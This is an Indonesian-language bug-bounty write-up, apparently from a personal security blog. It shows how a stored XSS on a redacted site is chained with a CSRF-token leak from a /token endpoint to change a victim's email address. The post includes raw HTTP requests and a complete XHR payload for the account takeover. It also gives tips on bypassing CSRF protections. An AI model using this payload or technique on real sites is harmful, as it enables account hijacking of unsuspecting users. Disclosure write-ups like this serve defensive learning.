xhellc0de
xhellc0de /Hidup seperti Squidward/

XSS to Account Takeover - Bypassing CSRF Header Protection and HTTPOnly Cookie

XSS

Ketika melakukan Bug Hunting dan menemukan bug Stored XSS, biasanya khayalan akan mendapat bounty yg cukup besar sudah berputar-putar di kepala. Namun terkadang khayalan tersebut pudar ketika kita mencoba memasukan document.cookie ke dalam payload XSS dan yang muncul adalah:

Blank Alert

Popup alert yang diharapkan menampilkan cookie dari website target namun malah tidak menampilkan apapun karena cookie pada website tersebut diset HTTPOnly sehingga tidak bisa diakses oleh javascript.

Bila menemukan hal seperti ini, biasanya pilihan selanjutnya adalah dengan membuat request menggunakan XHR untuk ‘memaksa’ user melakukan aksi sensitif tanpa sepengetahuan mereka, sebagai contoh, merubah password atau mengganti alamat email.

Dan ketika akan melakukan hal tersebut, Request yang dikirim seperti berikut:

POST /user/changeEmail HTTP/1.1
Host: redacted.com
Connection: close
Content-Length: 84
Sec-Fetch-Mode: cors
csrf-token: 3005c34f-4cea-4470-afe8-045f1c14a2af
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: */*
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,eu;q=0.6
Cookie: JSESSIONID=_zo6sV5qYkxhYwSCULJ4KRzOqP3G_-xVma2rKVPo; csrf-token=3005c34f-4cea-4470-afe8-045f1c14a2af;

{"email":"[email protected]"}

Terlihat pada request header terdapat csrf token yang bertujuan untuk mencegah serangan CSRF. Maka tambah suram lah proses exploitasinya, semakin sulit karena ada CSRF header yang selalu berubah setiap kali melakukan request.

Bila dilihat dengan seksama, pada request header dan cookie memiliki csrf-token dengan value yang sama. Maka saya mencoba untuk merubah kedua nilai tersebut menjadi nilai yang lain, namun tetap sama keduanya.

Request:

POST /user/changeEmail HTTP/1.1
Host: redacted.com
Connection: close
Content-Length: 84
Sec-Fetch-Mode: cors
csrf-token: asu
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: */*
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,eu;q=0.6
Cookie: JSESSIONID=_zo6sV5qYkxhYwSCULJ4KRzOqP3G_-xVma2rKVPo; csrf-token=asu;

{"email":"[email protected]"}

Response:

{"changingEmailCompleted":true}

Boom! Ternyata email berhasil dirubah menggunakan cara tersebut. Ini artinya kita dapat memanipulasi csrf-token pada header menjadi apapun asalkan nilainya sama dengan csrf-token pada cookie.

Karena kita tidak dapat mengakses cookie, maka saya mencoba menambahkan cookie baru dengan menggunakan script berikut:

<script>document.cookie="csrf-token=asu";</script>

Ketika dicoba melakukan request, response nya seperti berikut:

CSRF Failed

Loh kok muncul pesan Possible CSRF attack detected!?

Ketika dilakukan pengecekan ulang, ternyata requestnya menjadi seperti berikut:

POST /user/changeEmail HTTP/1.1
Host: redacted.com
Connection: close
Content-Length: 84
Sec-Fetch-Mode: cors
csrf-token: asu
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: */*
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,eu;q=0.6
Cookie: csrf-token=asu; JSESSIONID=_zo6sV5qYkxhYwSCULJ4KRzOqP3G_-xVma2rKVPo; csrf-token=0b84028f-35de-4bd6-bf72-a0a776a7b3f2;

{"email":"[email protected]"}

Terlihat ada 2 buat cookie bernama csrf-token, sepertinya ini yang menjadi penyebab error tadi.

Karena kita tidak bila melakukan apa-apa pada cookie yang ada, maka yang dapat kita manfaatkan disini hanyalah csrf-token pada request header. Namun tentu saja kita harus mendapatkan nilai yang valid.

Website ini dibangun menggunakan AngularJS, tidak ada nilai csrf-token yang tersimpan pada kode HTMLnya, dan nilai dari cookie selalu berubah-ubah setiap request.

Wait, selalu berubah-ubah setiap request? Artinya ada saatnya dimana server mengirimkan cookie baru ke browser. Maka saya pun mencoba mencari kapan momen tersebut terjadi.

Lalu ditemukan adanya request di background ke endpoint /token seperti berikut:

Request:

POST /token HTTP/1.1
Host: redacted.com
Connection: close
Content-Length: 84
Sec-Fetch-Mode: cors
csrf-token: 0b84028f-35de-4bd6-bf72-a0a776a7b3f2
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: */*
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,eu;q=0.6
Cookie: JSESSIONID=_zo6sV5qYkxhYwSCULJ4KRzOqP3G_-xVma2rKVPo; csrf-token=0b84028f-35de-4bd6-bf72-a0a776a7b3f2;

Response:

HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
Connection: close
Date: Fri, 04 Oct 2019 15:08:38 GMT
Server: nginx
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate
Set-Cookie: csrf-token=725d97de-550d-4644-9579-d4b3e1209ded; path=/; secure; HttpOnly
X-XSS-Protection: 1; mode=block
Pragma: no-cache
csrf-token: 725d97de-550d-4644-9579-d4b3e1209ded
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
[...]

Terlihat bahwa ketika melakukan request ke endpoint /token, server meresponse dengan memberikan cookie csrf-token baru. Maka kita dapat memanfaatkan request ini untuk mengambil csrf-token tersebut, dengan menggunakan script seperti berikut:

var xhr = new XMLHttpRequest();
var method = 'GET';
var url = 'https://redacted.com/token';
xhr.open(method,url,true);
xhr.send(null);

xhr.onreadystatechange = function()
{
 var token = xhr.getResponseHeader('csrf-token');
 alert(token);
}

Dan CSRF Token pun berhasil diperoleh!

CSRF Token

Terakhir, tinggal menggabungkannya dengan request untuk change email tadi.

var xhr = new XMLHttpRequest();
var method = 'GET';
var url = 'https://redacted.com/token';
xhr.open(method,url,true);
xhr.send(null);

xhr.onreadystatechange = function()
{
 var token = xhr.getResponseHeader('csrf-token'); // ngambil token dari response header

 xhr.open("POST","https://redacted.com/user/changeEmail", true);
 xhr.withCredentials="true";
 xhr.setRequestHeader("csrf-token", token);
 xhr.setRequestHeader("Content-type", "application/json; charset=UTF-8");
 xhr.send('{"email":"[email protected]"});
}
alert('Ups, You\'re pwned!');

Dan alamat email pun berhasil dirubah :))

Email Changed

Kesimpulan

  1. Ketika menemukan Stored XSS namun tidak bisa memperoleh cookie, jangan langsung laporkan karena besar kemungkinan severity akan menurun
  2. Cobalah lakukan chaining dengan bug lain, CSRF misalnya untuk melakukan aksi sensitif
  3. Ketika menemukan CSRF Protection, cobalah untuk menghapusnya atau merubah nilainya menjadi null, terkadang hal ajaib tersebut bisa berhasil
  4. Carilah endpoint lain yang sekiranya dapat dimanfaatkan untuk memperolah CSRF Token yang valid

comments powered by Disqus